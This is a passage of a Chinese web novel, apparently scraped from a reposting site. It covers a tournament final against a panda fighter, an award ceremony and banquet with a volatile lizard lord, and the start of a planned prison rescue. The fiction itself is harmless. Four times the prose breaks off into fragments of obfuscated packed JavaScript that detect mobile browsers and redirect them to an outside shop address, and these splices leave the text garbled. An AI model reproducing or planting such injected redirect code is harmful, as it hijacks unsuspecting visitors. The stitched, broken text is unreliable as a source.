l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13958943|147628||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 前几日多了不少,沈莫失从中看到了不少熟人。 有同样身为勇者的几位同伴,也有最初向她介绍比武大赛的那位犀牛妹子兕午,连她喜欢的那家烧烤店的店老板居然都来了。 沈莫失挥手回应了下激动着伸长了手臂挥舞的兕午,在不远处见到了遮盖得严严实实的猎刀。 这最后一场比赛,猎刀还是不想要错过,即使会有被发现的风险,也还是决定来看一看。 与台下的熟人们打了个招呼,沈莫失转向她对面的那位对手——熊猫女士。 熊猫女士看着是一副富态又丰腴的模样,还生了张圆润的脸,黑色的眼圈显得对方的眼睛又大又圆,浑身上下几乎看不出一点尖锐之处。 光看外貌,或许会觉得对方是个亲和友好的人,可对方的气质与亲和友好可完全不搭边。 即使如此,沈莫失自带滤镜,还是觉得对方怎么看怎么憨态可掬。 正是这种心态让她越发重视起这次对决来,轻敌可是大忌,很多时候,最强大的对手其实是自己。 猎刀在台下看着沈莫失如此严肃的神情,也不禁皱起了眉头。 在了解过沈莫失的武力值后,除了领主克拉法,她不认为领地内还有谁能对她造成威胁,可偏偏沈莫失在面对熊猫的时候表现得这么重视。 她是知道的,沈莫失昨晚上念叨了一夜的熊猫,睡着了都惦记着熊猫熊猫的。 她承认那只年轻熊猫武力值不错,在领地内是妥妥的强者,可要是和沈莫失比,肯定还是够不上的。 难道对方有什么不为人知的厉害招式被沈莫失发现了吗? 猎刀探究的目光扫向那位熊猫,对此百思不得其解。 其余观众们倒是没觉得双方如此紧张严肃的神情有什么不对,想想吧,如果是自己只差一步就能成为“神选者”的话,肯定会比台上的二人更紧张的。 最终决战就在如此严肃的氛围中打响。 丝毫没有给对方留情面,熊猫女士上前就是锋利的一爪子,带着风从沈莫失的脸侧扫过。 沈莫失看着面前如刀锋般尖锐的爪子,决定收回刚才说的全身上下都找不出一点尖锐之处这句话。 这要是被抓到一爪子,肯定是不会好受的,她可不像是那些兽人一般,有那么厚实的皮毛防御。 虽然用精神力大概也能恢复得很好就是了,可该痛还是会痛的啊。 想到精神力,沈莫失难免分神想到了在家的红雪,也不知道小孩有没有乖乖在家学习呢。 没等思绪发散开去,熊猫女士就注意到了她的走神,愤怒地吼了她一声,“你不要命了吗?打架还敢走神。” 低沉的音色在耳边响起,沈莫失迅速回神,向对方道歉,“抱歉抱歉,再也不会了。” 说着,迅速的一个后移,避开了对方的连环爪击。 虽然说着不能轻敌,可还是犯错了啊,沈莫失默默检讨自己,战斗时候走神,对自己的对手也是一种不尊重。 调整好了心态,沈莫失摆出架势猛地回击对方,以猛烈的攻势再次传达她的歉意。 两人见招拆招,以台下人几乎不可见的速度快速过了几招,见沈莫失终于认真起来,熊猫女士低哼一声,裂开嘴笑了。 “这才像话。” 28.胜利 到了这个阶段,以沈莫失目前展示出的力量和敏捷程度而言,正面的迎击基本都无法有效地赢得胜利。 呼了呼微微发红的指节,沈莫失紧盯着熊猫思索对策。 在勇者一对一的战斗中,前两场迎战章鱼和袋鼠,她都选择了以将对手打下擂台的方式来赢得胜利。 特别是第二场与袋鼠的战斗,将对方甩下去多少有借用了对方的力量,再加上袋鼠被她打了个措手不及,这都算是取巧了。 当然,智慧也是获胜的一种方式。 比武大赛从来不禁止取巧的做法,只要不犯规,或是作出一些恶心人的举动,所有人都会认可这种依靠智慧取得的胜利。 可这种手段要运用在熊猫女士身上显得有些困难。 虽然看着外形壮硕臃肿,可这都是表象,只要与她交过手就会发觉,她其实出乎意料地灵活,而且,或许是因为高吨位与低重心的特点,对方显得格外稳重。 上述的特征都很不利于沈莫失把对方推下或是甩下擂台。 更别说对方明显对于被她搞下台这一点抱有极大的戒心,始终警惕着沈莫失来抓她的举动,也不愿意接近擂台边缘。 或许昨天沈莫失与袋鼠的那一战,也为她敲响了警钟。 沈莫失遗憾地叹了口气,看来这一招今天是没法用了。 一歪头,敏锐地躲开了熊猫迅捷的一拳,趁着她还没收回手臂,沈莫失出手瞄准了其肘部,只略微发力,就借着对方出拳的力道,将熊猫的攻击路径打断。 熊猫的手臂不受控地略微上移,趁着她这一瞬露出的空档,沈莫失抓紧机会一拳击向她的腋下。 一般情况下,这地方的肉都会好打一些。 熊猫却也是身经百战,另一手迅速回援,竖直着劈向沈莫失攻击的手臂,“哈!” 明显蓄力的一发手刃,沈莫失想都没想就放弃了攻势,收回手来。 这一次又算是勉强打平。 两人都没有丝毫气馁,依旧专注地警惕对方的一举一动,同时抓住一切时机试图对对方造成伤害。 熊猫紧接着就是一个踢击攻向沈莫失的头部,身体随之旋转了半圈蓄力,这一脚上带出了明显的破风声。 沈莫失依旧秉持着能躲就躲的应对方式,不与对方硬碰硬。 下蹲避开了这一脚后,沈莫失顺势在地上一个翻滚,以双手支撑起身体,举起双脚旋转着回敬了熊猫两个踢击。 前脚精准地踢中了她的脑袋,后一脚将要打中时却被对方躲过了,只击中她用来防护的手臂。 沈莫失反应迅速,又换拳击,借着灵活小巧的身形凑近了熊猫身下就是几拳,将对方击退。 熊猫退后几步稳住身形,干脆弓起背部直冲向沈莫失,拦腰抱住沈莫失要把她压倒在地。 沈莫失顿时被暖融融的熊猫毛发糊了一脸,虽然看着蓬松毛绒绒,但其实摸起来的触感挺粗糙扎手的。 没来得及享受被毛绒绒包裹住的待遇,沈莫失曲肘用力下击打在熊猫的肩颈部位,想要强迫对方松手。 不过这一身厚实的皮毛和脂肪可不是吃素的。 熊猫丝毫不受影响的模样将沈莫失压倒在身下,以沉重的体重压制住沈莫失的反抗,滚圆的拳头爪子就要砸向沈莫失的脑袋。 仰躺在擂台上的沈莫失摇头躲避接连而来的拳头,还趁机回敬了对方几拳。 借着熊猫后仰回避的动作,她腰腹发力把下半身从熊猫的压制下抽了出来。 有熊猫的双手限制着空间,沈莫失干脆放弃了往上移,来逃出钳制的方法,直接把自己折叠成两半,双腿柔软又不容拒绝地缠上了熊猫的脖颈。 借着双腿和腰部发力,沈莫失用力地挺身直立起来,穿过熊猫的双手合抱出的空隙,像是个“抱脸虫”一般缠住了熊猫的脸部。 熊猫见状,马上就要以头抢地,来把沈莫失从头上逼迫下来。 沈莫失捏着熊猫两个圆润的耳朵,柔软的双腿几个快速的腾挪,把自己绕到了熊猫的后颈处。 看着这幅“熊猫背孩子”的场景,台下的犀牛大姐顿时发出激动的呼声,这招她是亲身体验过的,就在沈莫失守擂那天。 犀牛大姐是沈莫失挑中的3号擂台原擂主。 这次沈莫失与熊猫女士的战斗,她或许是最身临其境的一位观众了,毕竟台上这两位她都有交过手,并且都没能打过。 不过沈莫失这次没打算硬攻头部把对方打晕,而是选择收紧双腿绞住熊猫的脖颈。 被狠狠缠住了脖颈的熊猫扭着上身想要把她甩下来,又用手掰扯沈莫失的双腿意图把她拽下来。 沈莫失用腿绞紧了对方没管她拉拽的动作,现在这关键时候,即使被拳头爪子击打到腿部她也暂时忍了,在对方摇摇晃晃的动作里缠得相当牢固。 被锁住脖子无法呼吸到底影响到了熊猫的力量,没掰扯几下,她就发出嘶哑的呼声,视野也逐渐被黑纱覆盖。 沈莫失毫不留情,完全不松腿,一直坚持到熊猫支持不住瘫倒在地也不放手。 直到裁判过来检查过熊猫暂时失去战斗能力,“7号获胜!” 闻言,沈莫失大松一口气,连忙松开紧绷的双腿,这么冷的天气里,她□□居然还被熊猫厚实的毛发捂出一层汗来。 怪不得兽人们都不喜欢穿那么多,毛皮大衣到底是热乎。 随着这一战的结束,台下响起震耳欲聋的欢呼声,观众们热烈地庆祝着这一届新的“神选者”的诞生。 医护人员紧接着就上台来,大部队去检查晕过去的熊猫,另一部分来为沈莫失包扎伤口。 沈莫失提溜起自己破破烂烂的裤子,才发现自己的腿上也没几块好肉了。 这些伤口基本都是在最后那阵子中留下的,有些大面积的青紫,也有些是红艳艳的抓痕,不断淌出血来。 血淋淋的伤口看得台下的猎刀一阵揪心,捏着自己的爪子恨不得现在就上台来,或者当初就不该同意沈莫失来参赛,更进一步,她就不该把鳞的事情告诉沈莫失。 看着医护小心翼翼地给她做应急处理,不知道猎刀的想法的沈莫失倒是觉得问题不大,后续回了领地里没人看着,拿精神力扫荡一番,估计连疤都留不下来。 不过要不要留一个呢?这可是熊猫留下的抓痕啊…… 沈莫失愣了愣,这时候才突然反应过来自己刚才都做了些什么。 战斗的时候多少有些上头,哪管得着那么多小心思,可现在脑子冷静下来了,再瞄一眼在急救下缓缓苏醒过来的熊猫女士。 啊啊啊! ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13968321|147628||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 妈妈她摸到熊猫了! 不对,啊啊啊!妈妈她把熊猫给打了! 可是她确实摸到熊猫了…… 可是她确实打了熊猫啊!那么大一只大熊猫被她击晕在地! 沈莫失突然两手用力拍向自己的脸颊,面上只是略有惊讶的样子,可实际上心里几乎抖成《呐喊》。 等等,《呐喊》又是什么。 不管了不记得了,反正,妈妈啊!那可是大熊猫啊! “看来我们的‘神选者’很高兴的样子啊。” 随着一阵清晰的鼓掌声,台下观众的欢呼声立刻沉寂下去。 偌大的赛场上没有一个人再发出多余的动静,就连为沈莫失包扎伤口的医护也放轻了动作,迅速结束救护跳下台去。 猎刀掩了掩兜帽,将自己隐蔽在或是恐惧或是激动或是茫然的人群中,借着拥挤人群的额遮挡观察着台上那人。 沈莫失发散开去的思绪也被这一阵掌声给拉回了现实。 随着掌声传来的方向看去,高大的鬃狮蜥兽人映入眼帘,猩红色的长披风在第一时间就夺去了所有人的目光。 那双翠绿的兽瞳直勾勾地盯着沈莫失。 明明是如此澄澈璀璨的颜色,偏偏在她身上就像是浸入过幽深森林的湖底一般,像这样紧紧地盯着人时,便给人以一阵寒意。 其脸侧雪白的棘状鳞片张扬地向外散开,随着她说话的动作,又露出一嘴紧密的利齿。 总之,看着就不像是个好脾气的家伙。 不过巧了,她确实不是。 这就是在驯鹿领内“臭名昭著”的那位鬃狮蜥领主。 好像叫克拉什么来着,沈莫失脑瓜子转圈陷入宕机状态,之前一直跟着猎刀叫克拉法什么的,完全没记清楚对方的名字。 没再纠结,沈莫失直截了当地称呼道:“领主。” 全名克拉芙季雅·格雷戈里·科洛莫罗的鬃狮蜥领主轻哼一声,咧嘴恶劣地笑了笑,显得更加凶恶又不怀好意。 “你可是大出风头啊,怎么我之前从没听说过有你这么号人。” 沈莫失皮笑肉不笑地回答她:“之前家里管得严,母亲不许我太过狂妄了。” “哦?”克拉芙季雅感兴趣地挑挑眉,微微倾身凑近了这只“矮小的鸟人”,“那现在又是怎么回事?你母亲死了?” 这人怎么说话的? 沈莫失意味不明地瞟了眼跟在克拉芙季雅身后半步的章鱼副手。 章鱼副手刚收回瞥向自家乱说话领主的眼刀,涵养极好地回了沈莫失一个娴静的笑容。 并不知道自己母亲到底是谁的沈莫失丝毫没有被攻击到,还能心平气和地回复领主。 “那倒不是,我只是出来旅游的罢了。” 装作没听懂对方冒犯的话语,沈莫失还附赠了一个和平友好的微笑,耳边的鸽子羽在阳光的照耀下熠熠生辉。 克拉芙季雅嫌弃地看了眼沈莫失脸上的婴儿肥,又上下打量着她这幅“五短身材”。 “嘁,”克拉芙季雅无趣地摆了摆手,手指指着沈莫失,回头向副手吐槽说,“这不完全是个小孩子吗?” 现在轮到章鱼副手皮笑肉不笑了,借着自己宽大袍子的掩饰,一条触手用力碾住了自家领主晃晃悠悠的尾巴尖。 29.宴会 克拉芙季雅动作明显一僵,偷偷抽出自己的尾巴当作无事发生,一手握拳掩饰在口边,轻咳几声。 “好的,我知道了,嗯……我很欣赏你,在领地内玩得开心。” 这人背稿子都只背了最后一段话吧。 沈莫失差点就要掩饰不住自己无语的眼神了 好在章鱼副手和她的感受是一样的,在克拉芙季雅表完态后,迅速上前接过了颁奖的任务 “真诚地祝贺您在本届大赛中赢得了冠军,您向我们展示了您的勇武,您精湛的技术与聪慧的头脑,您是我们当之无愧的‘神选者’,愿母神照耀您的未来。” 不愧是靠谱的章鱼副手,颁奖词说得丝毫不磕巴。 这才是正常的颁奖仪式嘛。 沈莫失从章鱼副手的手中接过沉重而璀璨的宝石奖杯,遵照礼节向对方致谢。 台下隐隐有些躁动的声响,不过很快又归于静默。 一旁的克拉芙季雅接过侍从递来的披风,扬手展开披在了沈莫失的身后。 与对方今日的穿着很相似,这也是一身猩红色的披风,不过很明显,这是一袭短披风,形制上类似于勇者的那一件灿金色的披风。 为她披上了披风后,克拉芙季雅摸着下巴又重新打量了一遍沈莫失。 章鱼副手见她这副模样,暗自提起一口气,生怕她又要说出什么了不得的话来。 “现在看着总算有点样子了。” 她爽朗地大笑了起来,拍了拍沈莫失的肩膀道:“其实我很喜欢你哦。” 章鱼副手松了口气,这句话还算正常,可很快她就知道这口气松早了。 沈莫失龇牙咧嘴地揉了揉自己的肩膀,疑惑地看向对方,“为什么?我们之前应该从没见过?” 克拉芙季雅大咧着嘴笑,丝毫不觉得自己的话有什么问题,“毕竟你一看就很好吃的样子嘛!” 沈莫失眉头一抽,再难掩饰自己的表情,果断选择去看章鱼副手。 你们的领主是不是真的有什么毛病? 章鱼副手……章鱼副手她终于放弃了,闭眼不去再看沈莫失的表情。 …… 所有的赛程都已结束,接下来就是传统的庆祝环节。 宴会被安排在了当晚,领主府为所有参赛选手都送去了邀请函,凭邀请函可携带1-2人进入领主府内的宴会厅。 即使脱下了披风,可沈莫失现在领地内也算是个大名人了,至少在领主府周边这一块区域,没有人不认得她这张脸。 在众人热情的簇拥下回到了旅馆里,放下手上各式各样的礼品,沈莫失看到猎刀早已等在旅馆里了。 看着对方安静地望过来的样子,沈莫失感觉现在的场景和她刚来鬃狮蜥领地时逛街回来差不多。 也是大包小包地回到房间,也是向猎刀展示自己“打猎”回来的成果。 沈莫失被自己的联想逗笑了,掏出怀里金红色的宴会邀请函,对着猎刀挥了挥。 她们最初的目的其实只是这张邀请函罢了。 沈莫失凑到猎刀身边坐下,将邀请函搁在一旁,“所以你今天也看到克拉法了,有什么感想吗?” 除了这张邀请函,她还记得她们的另一个目的是为了好好观察一下这位传说中“暴虐非凡”的领主。 猎刀笑了笑,没有先发表自己的意见,而是反问沈莫失,“你才是那个真正与她接触过的人,你是怎么想的?” 回想了下那短暂又格外漫长的颁奖仪式,沈莫失露出一言难尽的表情。 “大概是有点大病的吧,如果没有那位章鱼副手在,真不知道今天会发生什么。” 猎刀看着沈莫失这幅表情,越发觉得好笑了起来,为她补充道:“她想说什么就说什么,对吗?” “嗯……”沈莫失皱着眉头思索了一番,勉强同意了猎刀的说法,点点头道,“好像确实是这样没错。” 虽然领主显得很奇怪的样子,但看着猎刀不像之前那么惆怅的表情,沈莫失也松开了眉头。 “这是好事吗?” 猎刀闻言怔了怔,缓缓抚上自己的心口。 “我也不知道,我所看到的她与前任领主并不相同……我很高兴这一点,我并不希望曾经打败了她的克拉法会变成与她一样的人。” “可这些不同之处,到底算是好,还是不好呢?” 说着,猎刀下意识抬起头来望向沈莫失的双眼,像是想向她寻求一个答案。 沈莫失眯起眼注视着猎刀茫然的样子,却并没有为她解惑,而是耸了耸肩。 “既然你都不知道,那我怎么能知道呢?” 猎刀也突然反应了过来,松开眉头失笑说道:“是啊,这是只有我能想明白的道理。” 见猎刀重新变回了轻松的模样,沈莫失缓缓后仰倒在了柔软的床铺里,“虽然我不知道这个问题的答案,不过我知道一点——” 猎刀俯视着摊在床上的沈莫失,露出了疑惑的表情。 沈莫失仰视着猎刀,咧嘴笑了笑,轻声说道。 “你还有足够的时间去慢慢思考这些问题。” 猎刀突然睁大了双眼,看着面前这改变了她一生的人。 是啊,虽然已经不再为紊乱症而困扰,可她居然才意识到这一点,现在的她已经不再被疾病与时间追赶着了。 遇到沈莫失的这短短的时间内,好像是一场梦一般。 现在的她有了足够多的时间去面对那些曾经来不及考虑的问题。 像是被沈莫失感染了一般,猎刀也咧开了嘴,像她一样仰躺下来,平静地望着旅馆的天花板与吊灯。 她闭上眼,连耳朵都压了下来,什么都可以不去看,什么都可以不去听,什么都可以不去做,只是这么躺在柔软的床上,享受着久违的悠闲时光。 沈莫失在一旁挪动着侧过身来,支起脑袋,看着猎刀闭目平静的神色,忽地伸长胳膊伸了个长长的懒腰。 “先休息休息吧,晚上还早着呢。” …… 今晚的领主府难得人声鼎沸,人来人往。 猎刀依旧带着她的兜帽,跟在沈莫失的身后进了宴会厅。 现在的沈莫失是个大名人了,虽然站在她身边很容易成为被关注的焦点,可同时,站在过于耀眼的人身边,也会最容易被忽略。 如她们所想的,今天领主府内人员混杂,沈莫失又是绝对的主角,披着独一无二的猩红短披风的沈莫失与她身边的灰衣“随从”没有遇到一丝阻碍就被领主府的守卫放了进去。 猎刀一进入领主府内,就悄无身息地远离了人群聚集区,关押鳞的监牢肯定不会是在这种地方。 沈莫失作为主角之一,需要去宴会上露一脸,这个寻找监牢位置的任务自然是被猎刀揽下了。 陆岭有给她们一份简略的地图,不过领主府的内部构造算是机密,她并不能保证自己得到的资料就是完全正确的。 猎刀只能凭着这这份地图,与她对领主府十年前的记忆去寻找监牢的位置。 避开了又一班巡逻的守卫,猎刀默默叹了口气,如果鳞是被关在公共监牢里,或许她们的救援行动还能方便些。 不过现在再想这些也没什么意义,猎刀调整好心态,放轻了脚步,顺着黑暗的小道继续探索。 沈莫失这边则与猎刀的处境完全不同。 为了应对接二连三上来招呼的兽人们,她脸都快笑僵了,手上的蛋糕半天也没吃下半块。 但这些兽人们确实是出于纯碎的崇拜心理 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13984706|147628||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,友好地过来与沈莫失攀谈的,她并不想冷脸面对这些带着善意和笑容的兽人们。 她真的十分不善于应付这一类人啊。 沈莫失拿手当扇子挥了挥,室内的暖气也太足了,把她脸都热红了。 她看其他兽人们也多少觉得有些过于暖和了,听她们的谈话,很明显这是不同寻常的一件事,可能只是为了特别关照她。 难道她怕冷这件事已经人尽皆知了吗? 沈莫失擦了擦鼻尖上的汗滴想着,倒也不必那么贴心啦。 与猎刀因为不同原因同步叹了口气的沈莫失被一位意想不到的人“拯救”了出来。 披着同色披风的克拉芙季雅张扬地凑过来时,所有人都下意识远离了开来。 沈莫失倒是没走,对方明显是冲着她来的。 她瞥了眼明明说着崇拜领主,却在领主过来时溜得最快的兕午,趁着这阵子空档赶紧把自己的蛋糕塞进嘴里。 克拉芙季雅单手插着腰,另一手撑桌,斜倚在餐桌边缘,完全没个站相,一副吊儿郎当的模样,完全不像是一位领主的模样。 同为领主,沈莫失不禁把陆岭与她作了个对比,这两人的差异实在是太大了。 “你可真有意思,在为你举办的宴会上,居然躲在角落里吃东西。” 克拉芙季雅嫌弃地点了点她手上的蛋糕盘。 沈莫失没管她,自顾自地享用甜食,鼓着的嘴巴里塞满了甜腻腻的蛋糕,不得不说,领主府的厨子真不错。 见她不回应,克拉芙季雅倒也不生气,不像是传闻中不容许任何人忤逆的样子,反而好奇地伸手想要戳一把沈莫失鼓起的脸颊。 这人就是手欠。 沈莫失后仰避开她的爪子,毫不顾忌地向她翻了个白眼,含含糊糊地回答她的话,“这是为了比赛办的宴会,每一位参赛者都是主角。” “嘻,”见她这幅与其他人都不同,完全不尊重自己的态度,克拉芙季雅反而觉得新奇,“你好像完全不怕我的样子。” “我为什么要怕你?”见她这个姿势挺舒服的,沈莫失也学着对方半依靠在了桌边。 如果不知道这两人今天才第一次认识,这场面简直就像是一对臭味相投的好友在聊天一般。 克拉芙季雅双手抱胸,越发对其感兴趣了,她扫视着那群巴不得离她们越远越好的人群。 “那她们怎么一副怕得要死的模样?” 见她看过来,人群又往外退了退。 “那你问她们去,问我有什么用?”看在对方的厨子以及待会儿要偷她家的份上,沈莫失还能耐心地回答她的问题。 克拉芙季雅回忆起以前那些胆子大的人骂她的话,试探着问沈莫失。 “因为我长得很可怕?” 沈莫失睨了她一眼,“你长得挺好看的啊。” 说真话,雪白光滑的鳞片,翠绿澄澈的眼眸,锋利修长的爪子,甚至是那条壮实的尾巴,都有戳到她的喜好上。 也就是来这里久了,对兽人们有了些抗性,要知道最初见到猎刀贴贴她的时候,她都要担心自己流鼻血呢。 克拉芙季雅眯了眯眼,发现对方并不是在说谎话,兴致盎然地继续询问道,“因为我脾气不好?” 这人说自己坏话都能说得这么高兴,沈莫失慢悠悠啃了口蛋糕才回应她。 “怎么个脾气不好了?” 她笑了笑,露出一嘴利齿来,“我不爱听坏话。” 沈莫失还没察觉到问题所在,随意地回应她说:“那我也不爱听坏话,有什么问题吗?” 克拉芙季雅但笑不语。 “等等。”见她这幅表情,沈莫失好像突然意识到了什么。 “我们在讨论的是为什么会怕你这件事对吧?” 30.面刺寡人之过者 盯着笑嘻嘻的克拉芙季雅,沈莫失越看越觉得对方不怀好意。 “所以你对说你坏话的人做了什么?” “这不重要,反正她们再也说不出不好听的话来了。” 克拉芙季雅附身凑近了沈莫失与她对视着,背光情况下,她那双澄澈美丽的双眼顿时变得晦暗不清。 你这是面刺寡人之过者,杀无赦啊。 就在沈莫失暗自吐槽这位“暴君”时,她突然感受到裤兜里有东西抖了抖。 不着痕迹地按住那抖动的物体,沈莫失目光闪了闪,又回到与克拉芙季雅的交谈中。 她扯了扯嘴角,“那你和我说这些有什么意义吗?想让我怕你?” “哈哈哈哈。” 闻言,克拉芙季雅突然直起身,咬着一截指节痴痴笑着,盯着沈莫失就像是在看什么稀罕物。 “你实在是太有意思啦!” 沈莫失觉得自己果然没法和精神病交流,搁下碗碟打算去搜寻章鱼副手的身影。 快把你家领主带回去啊! 还没等到她找到章鱼副手,克拉芙季雅就恢复了正常模样——至少看着是正常了。 她又开始向沈莫失搭话,露出一副亲切的表情来,还自来熟地把胳膊搭在沈莫失的肩头,阻止了她离开的动作。 沈莫失翻了个白眼不想理她。 克拉芙季雅也不在意,黏黏糊糊地晃了晃沈莫失道:“我觉得我们会很投缘的,不如你留下来怎么样?” 她试图劝说沈莫失,凑到她耳边低声道:“留在我这里,也不用回去听你妈妈的话了,想做什么就做什么,难道不好吗?” “你这么讨人喜欢,想要什么都可以告诉我。” 克拉芙季雅一手揽着沈莫失,一手向外挥出,像是在向她介绍未来可能拥有的一切。 “我说过了,我只是来旅游的。”沈莫失的回应依旧是拒绝,坚决地把对方的手从自己肩上拂了下去,远离了对方。 克拉芙季雅的脸色一下子沉了下来,以一种与刚才完全不同的森然可怖的眼神盯着沈莫失。 气氛瞬间降至冰点。 一阵毛骨悚然的感觉自后颈升起,沈莫失绷紧了全身各处肌肉,预防着对方的突然暴起。 看着她的双眼,沈莫失几乎无法确定这样阴鸷冰冷的眼神背后是否还留有一份理性。 虽然警惕着对方,可沈莫失完全没有露怯,要知道在面对凶残的猎食者的时候,退避逃跑可能反而会使自己落入险境。 周围的人也明显注意到了这里的气氛不对劲。 在被下属提醒后,章鱼副手终于抵达现场。 她从围观的人群里挤了进来,打量了一番对峙的两人,走到了克拉芙季雅身边,一脸担忧地询问道:“出什么事了吗?” 她半扶着克拉芙季雅,不确定她是否又犯病了,又疑惑地转向了沈莫失的方向,希望她们任何一人多少能为她解惑。 她接到的消息只是说两个人聊着聊着就不对劲了起来,由于没人敢凑近,所以也没人知道两人具体的情况。 见她过来了,克拉芙季雅顿时收起了那副暴戾的模样,转来安抚副手。 “没什么,只不过是个恋家的小娃娃罢了。” 章鱼副手明显没搞清楚,“啊?” 克拉芙季雅却不再解释,笑嘻嘻地把双手搭在章鱼副手肩上,压制住章鱼乱舞的触手,推着她离开,不给她任何拒绝的机会。 “不是,你等等!”副手挣扎着回头去看沈莫失,想知道到底发生了什么。 沈莫失与她对上视线,轻轻地笑了笑。 既然克拉芙季雅不说,她也并不多做解释。 克拉芙季雅顺着副手的视线回望,也看到了沈莫失的这个微笑。 “啧,真是没什么意思,我们走吧。” 说罢,没再给予沈莫失一丝一毫的关注,像是完全忽视了她一般,带着副手与她擦肩而过。 危机解除,沈莫失也彻底放松下来,在她们离去后,微微侧过身转头,意味深长地瞟了眼两人的背影。 “孩子,你没事吧?” 沈莫失闻声看去,发现是当初在报名点见过的那位壮硕象人。 她是章鱼副手下属的工作人员,会出现在领主府的宴会上也不奇怪,估摸着就是这位找来的章鱼救兵。 沈莫失感激地对她笑了笑,“放心吧,领主没有对我做些什么。” 象人上下打量一番,见她没有添新伤,也不像是受到惊吓的模样,才略放下心来。 她的鼻子凑过来拍拍沈莫失,低声安慰她,“别太在意,领主她就是这个脾气,既然今天没对你动手,后续也不会来找你麻烦的。” 沈莫失乖巧地点点头,“我真的没事,不过,我能借用一下休息室吗?” 象人想到她刚才的经历,和那位领主相处可不是一件容易事,很是理解对方想要借用休息室的举动,关切的走到沈莫失身边来。 “当然可以,我带你去。” 顺着象人的指引,无视了一旁好奇望过来的人们,沈莫失把自己关进了休息室里。 她把手搭在门上,最后嘱托了象人一句,“我想要一个人休息一阵子,请不要让其他人靠近,好吗?” 象人现在看她就像是看自家的后辈一般,满脸慈爱地答应了下来。 “放心吧,我会安排好的,你只管安心休息。” 沈莫失维持着友好又乖巧的笑容点了点头,合上了门。 随着一声轻巧的上锁声,这个休息室内只剩下了她一个人。 沈莫失在室内转了一圈检查一番,确定没有任何人了,才速度飞快地卸下了显眼的红披风,又脱去领主府提供的精美外衣,露出内里保暖的全黑装束。 关闭室内灯光,沈莫失戴上与上衣同色的黑兜帽,再加上一个黑色口罩,现在的她与刚才闪闪发光的人群焦点形象完全不同了。 沈莫失凑近窗外打量,见没有人经过,才悄咪咪地打开了休息室的窗户。 冷风顿时灌进了室内,沈莫失下意识打了个寒噤。 拢了拢衣领,沈莫失庆幸自己出门前穿得够厚实,轻手轻脚地翻过窗,又拉上窗帘合上窗户,让人无法观察到休息室内的情况。 做完这些准备工作,她才消失进了黑夜里,顺着猎刀发来的坐标奔去。 到了地点后,沈莫失还没来得及给猎刀回消息,就看到一个灰色的人影突然出现在了自己身边。 对方的气息沈莫失很是熟悉,她连躲的意思都没有。 “你怎么才来?我差点就要去找你了。”猎刀担忧的话语在耳边轻声响起。 沈莫失拍了拍猎刀毛绒绒的手背解释道:“被人缠住了,多说了会儿话,放心吧,一切顺利,短时间内不会有人发现我不见了的。” 这类宴会大家玩到黎明都是很正常的,现在参与宴会的人们估计正热烈讨论着刚才发生的事情呢,她又专门说了想一个人休息休息。 等发现她不见了的时候,她们早就带着人跑了。 希望她的失踪不会给那位克拉法糟糕的名声再添一战绩吧,沈莫失毫无良心地想着。 猎刀抖了抖兜帽下的耳朵,既然沈莫失这么说了,她也就没再在意,现在她们有更重要的事情要去做。 “今天守卫的人数不多,大部分人都在维护宴会厅的秩序,跟我来。”猎刀招呼沈莫失跟上她。 沈莫失紧紧地跟了上去,猎刀种族天赋拉满,在这种光线不足的场景里,如果不一直盯着她,就算是沈莫失也很容易跟丢。 “就是这了,我们从后窗翻进去,然后左拐有个向下的楼道……鳞应该就被关在 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13997146|147628||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 地下二层。” 指着面前一栋毫不起眼的低矮建筑,猎刀向沈莫失介绍她们后续要做的事。 说完这些后,她好像突然卡壳了。 沈莫失疑惑地出声问她,“嗯?我们现在不走吗?” 猎刀猛地右手握拳敲击左手掌心,恍然大悟地喃喃着反问自己,“我为什么要等你来呢?我自己去救人好像也可以啊。” 沈莫失小心翼翼地蹦了起来,以最小的声响和最大的动作幅度表示自己的抗议。 “什么嘛,都这个时候了,劫狱可是最有意思的一部分,你难道要在这一步丢下我吗?” 猎刀抽着嘴角把她压制住,“没有要丢下你的意思,只是你已经做得足够多了。” 沈莫失皱了皱眉誓不罢休,“里面会很危险吗?” 猎刀磕磕绊绊地说:“应该、应该不会很危险吧,囚犯不多,守卫的人也没有多少。” “既然不危险,那就让我一起去呗。” 沈莫失笑眯了眼,明摆着不肯放弃。 猎刀看着她沉默片刻,“那如果我说里面很危险的话……” “你都说了很危险了,我怎么可能放你一个人进去?”沈莫失挑眉,轻声回应道,显得很是无赖。 